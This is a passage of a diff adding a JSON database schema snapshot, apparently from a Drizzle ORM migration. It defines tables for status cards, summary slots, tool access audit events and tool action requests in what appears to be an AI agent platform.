+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_card_updates": {
+      "name": "status_card_updates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "card_id": {
+          "name": "card_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "generation_issue_id": {
+          "name": "generation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changes": {
+          "name": "changes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "status_card_updates_card_started_idx": {
+          "name": "status_card_updates_card_started_idx",
+          "columns": [
+            {
+              "expression": "card_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_card_updates_generation_issue_idx": {
+          "name": "status_card_updates_generation_issue_idx",
+          "columns": [
+            {
+              "expression": "generation_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_card_updates_card_id_status_cards_id_fk": {
+          "name": "status_card_updates_card_id_status_cards_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "status_cards",
+          "columnsFrom": [
+            "card_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_generation_issue_id_issues_id_fk": {
+          "name": "status_card_updates_generation_issue_id_issues_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_run_id_heartbeat_runs_id_fk": {
+          "name": "status_card_updates_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_cards": {
+      "name": "status_cards",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title_pinned": {
+          "name": "title_pinned",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interest_prompt": {
+          "name": "interest_prompt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queries": {
+          "name": "queries",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "query_compiled_at": {
+          "name": "query_compiled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_compiled_by_agent_id": {
+          "name": "query_compiled_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_policy": {
+          "name": "refresh_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compiling'"
+        },
+        "pending_change_count": {
+          "name": "pending_change_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pending_change_hash": {
+          "name": "pending_change_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_change_at": {
+          "name": "last_change_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint_at": {
+          "name": "fingerprint_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mentioned_issue_ids": {
+          "name": "mentioned_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_update_run_kind": {
+          "name": "last_update_run_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_eval_at": {
+          "name": "next_eval_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "status_cards_company_archived_idx": {
+          "name": "status_cards_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_cards_company_next_eval_idx": {
+          "name": "status_cards_company_next_eval_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "next_eval_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_cards_company_id_companies_id_fk": {
+          "name": "status_cards_company_id_companies_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_cards_created_by_agent_id_agents_id_fk": {
+          "name": "status_cards_created_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_query_compiled_by_agent_id_agents_id_fk": {
+          "name": "status_cards_query_compiled_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "query_compiled_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_agent_id_agents_id_fk": {
+          "name": "status_cards_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_document_id_documents_id_fk": {
+          "name": "status_cards_document_id_documents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_generating_issue_id_issues_id_fk": {
+          "name": "status_cards_generating_issue_id_issues_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_cards_archived_by_agent_id_agents_id_fk": {
+          "name": "status_cards_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "status_cards",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.summary_slots": {
+      "name": "summary_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_by_agent_id": {
+          "name": "last_generated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "summary_slots_document_uq": {
+          "name": "summary_slots_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_scope_idx": {
+          "name": "summary_slots_company_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_generating_issue_idx": {
+          "name": "summary_slots_company_generating_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "generating_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "summary_slots_company_updated_idx": {
+          "name": "summary_slots_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "summary_slots_company_id_companies_id_fk": {
+          "name": "summary_slots_company_id_companies_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "summary_slots_document_id_documents_id_fk": {
+          "name": "summary_slots_document_id_documents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_generating_issue_id_issues_id_fk": {
+          "name": "summary_slots_generating_issue_id_issues_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generating_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "summary_slots_last_generated_by_agent_id_agents_id_fk": {
+          "name": "summary_slots_last_generated_by_agent_id_agents_id_fk",
+          "tableFrom": "summary_slots",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "last_generated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "summary_slots_company_scope_slot_uq": {
+          "name": "summary_slots_company_scope_slot_uq",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "scope_kind",
+            "scope_id",
+            "slot_key"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_access_audit_events": {
+      "name": "tool_access_audit_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_access_audit_company_created_idx": {
+          "name": "tool_access_audit_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_connection_idx": {
+          "name": "tool_access_audit_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_access_audit_gateway_idx": {
+          "name": "tool_access_audit_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_access_audit_events_company_id_companies_id_fk": {
+          "name": "tool_access_audit_events_company_id_companies_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_access_audit_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_access_audit_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_access_audit_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_access_audit_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_access_audit_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_action_requests": {
+      "name": "tool_action_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "canonical_arguments_hash": {
+          "name": "canonical_arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "canonical_arguments_summary": {
+          "name": "canonical_arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "signed_arguments": {
+          "name": "signed_arguments",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "preview_markdown": {
+          "name": "preview_markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_agent_id": {
+          "name": "decided_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_action_requests_company_status_idx": {
+          "name": "tool_action_requests_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_invocation_idx": {
+          "name": "tool_action_requests_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_action_requests_issue_idx": {
+          "name": "tool_action_requests_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_action_requests_company_id_companies_id_fk": {
+          "name": "tool_action_requests_company_id_companies_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_action_requests_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_issue_id_issues_id_fk": {
+          "name": "tool_action_requests_issue_id_issues_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "tool_action_requests_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_approval_id_approvals_id_fk": {
+          "name": "tool_action_requests_approval_id_approvals_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_requested_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_resolved_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_decided_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_decided_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "decided_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_applications": {
+      "name": "tool_applications",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
